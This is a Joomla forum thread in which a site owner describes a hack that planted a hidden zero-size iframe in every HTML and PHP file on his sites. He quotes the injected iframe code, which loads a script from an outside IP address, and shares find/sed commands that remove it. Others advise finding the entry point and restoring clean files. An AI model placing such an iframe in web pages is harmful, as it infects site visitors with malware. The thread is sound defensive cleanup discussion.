Joomla! Discussion Forums



It is currently Tue Nov 24, 2009 1:10 pm (All times are UTC )

 


Forum rules

Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.



Post new topic Reply to topic  [ 7 posts ] 
Author Message
Posted: Wed Feb 04, 2009 10:23 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Fri Apr 20, 2007 4:51 pm
Posts: 22
Are these guys are so annoying.

So here's my site:
http://www.mymechanics.co.uk/

Before you click on it! There is a worm embedded in an iframe on the site.

It occurs in two places, here:
Code:
<body>
<div class="topbar">
<div id="navcontainer">
<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><ul id="mainlevel-nav"><li><a href="http://www.mymechanics.co.uk/" class="mainlevel-nav" id="active_menu-nav">Home</a></li><li><a href="http://www.mymechanics.co.uk/Garages/" class="mainlevel-nav" >Browse Garages</a></li><li><a href="http://www.mymechanics.co.uk/Car-Advice/home" class="mainlevel-nav" >Car Advice</a></li><li><a href="http://www.mymechanics.co.uk/component/option,com_ja_submit/Itemid,14/" class="mainlevel-nav" >Add Garage</a></li><li><a href="http://www.mymechanics.co.uk/component/option,com_ja_submit/Itemid,28/" class="mainlevel-nav" >Add Car Advice</a></li><li><a href="http://www.mymechanics.co.uk/Forum/home" class="mainlevel-nav" >Forum</a></li></ul><div id="header">
<h1><a href="#">HEADER</a></h1>
<h2>MyMechanics.co.uk</h2>
<h3>Your Local Garage Uncovered</h3>


Note that it occurs just before my first modules is loaded (which is mod_mainmenu). Here is the section in my template index.php:

Code:
<body>
<div class="topbar">
<div id="navcontainer">
<?php mosLoadModules ( 'top',-1 ); ?>
<div id="header">
<h1><a href="#">HEADER</a></h1>
<h2>MyMechanics.co.uk</h2>
<h3>Your Local Garage Uncovered</h3>


I have a couple of other modules loading.

Then it occurs immediately in my content pane:
Code:
<div class="right_banner"></div>
   
      <table class="contentpaneopen">
            <tr>
         <td valign="top" colspan="2">
            <div align="left"><iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>      <div class="moduletable-si">
            <table class="siteinfo">


The div -si is another module called mod_siteinfo. Here is it in my index.php:

Code:
<div class="right_banner"><?php mosLoadModules('banner',-1);?></div>
<?php mosMainBody(); ?>
<?php if (mosCountModules('user1') || mosCountModules('user2')) { ?>


I've checked both the modules and there is no sign of it in here.

Where on earth is this code being put!? Could it be in the mosloadmodule call? where is that?

Sorry, any help would be great.

Thanks,

Olly


Last edited by nutts4life on Thu Feb 05, 2009 7:40 pm, edited 1 time in total.

Top
  E-mail  
 
 Post subject: Re: Help ME!
Posted: Wed Feb 04, 2009 10:45 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Fri Apr 20, 2007 4:51 pm
Posts: 22
Ok,

I've found out what these monkeys have done.

Everysingle one of the index.html's have got this code in them.

As you all know there's about 100 - 150 of these.

And i have 5 sites, that all have the same problem.

I need some ideas on how i'm going to get rid of these iframes.

Any ideas?

Thanks,

Olly


Top
  E-mail  
 
Posted: Thu Feb 05, 2009 7:43 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Fri Apr 20, 2007 4:51 pm
Posts: 22
OK, here's how i did it. I hope this is useful for someone one day.

The hacker had search and replaced ALL the php / html and htm files in my hosting area.

The had added the iframe html above.

So i logged into my hosting server using putty and ran the following commands from the root directory:
Code:
find -name "*.htm*" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;

AND
Code:
find -name "*.php" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;


This got rid of them.

Good luck and let's beat these guys.

n4l


Top
  E-mail  
 
Posted: Thu Feb 05, 2009 7:48 pm 
User avatar
Joomla! Master
Joomla! Master
Offline

Joined: Thu Aug 18, 2005 7:13 am
Posts: 13247
Have you also found the way they came into your site? If not, it's going to be child's play to do it again.

_________________
Antonie de Wilde - Forum admin
All Joomla! release dates and days between releases: http://jfoobar.org/blog/189-days-betwee ... a-releases.test


Top
   
 
Posted: Sat Feb 07, 2009 1:52 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Fri Apr 20, 2007 4:51 pm
Posts: 22
Toni,

Thanks for the concern, I did find the way. I was using an include one of my other sites and reading the parameters of the include from the URL!

How dumb was that. Anyway, i fixed it all. If it happens again.

I will contact here.

Thanks,

n4l


Top
  E-mail  
 
Posted: Mon Jun 22, 2009 7:42 pm 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Wed Sep 24, 2008 6:06 pm
Posts: 107
Location: bangalore
I just modify above script and used following...
find -name "*.htm*" -exec sed -i 's/<iframe src=//' {} \;
find -name "*.php*" -exec sed -i 's/<iframe src=//' {} \;
find -name "*.js*" -exec sed -i 's/<iframe src=//' {} \;
find -name "*.html*" -exec sed -i 's/<iframe src=//' {} \;

but no output..
Is the command line is correct?

_________________
Regards,
Raj
Web Developer, Bangalore, India
JOOMLA | DRUPAL | WORDPRESS| PHPBB |


Top
  E-mail  
 
Posted: Sun Oct 25, 2009 9:29 am 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Online

Joined: Mon Mar 20, 2006 1:56 am
Posts: 3683
Location: The Girly Side of Joomla in Sussex
cagsan wrote:
And change the chmod of the files that infected from 777 to 666.

no - delete the infected files and replace with poper clean files and then make sure your site is secure

_________________
HU2HY - GIGO - Poor questions = Poor answer
Un requested Help PM's will be added to the foe list and just deleted
http://community.joomla.org/ Connect Administrator
Avez-vous lu les instructions ? Avez-vous recherché ?


Top
   
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 7 posts ] 

Quick reply

 



Who is online

Users browsing this forum: No registered users and 15 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group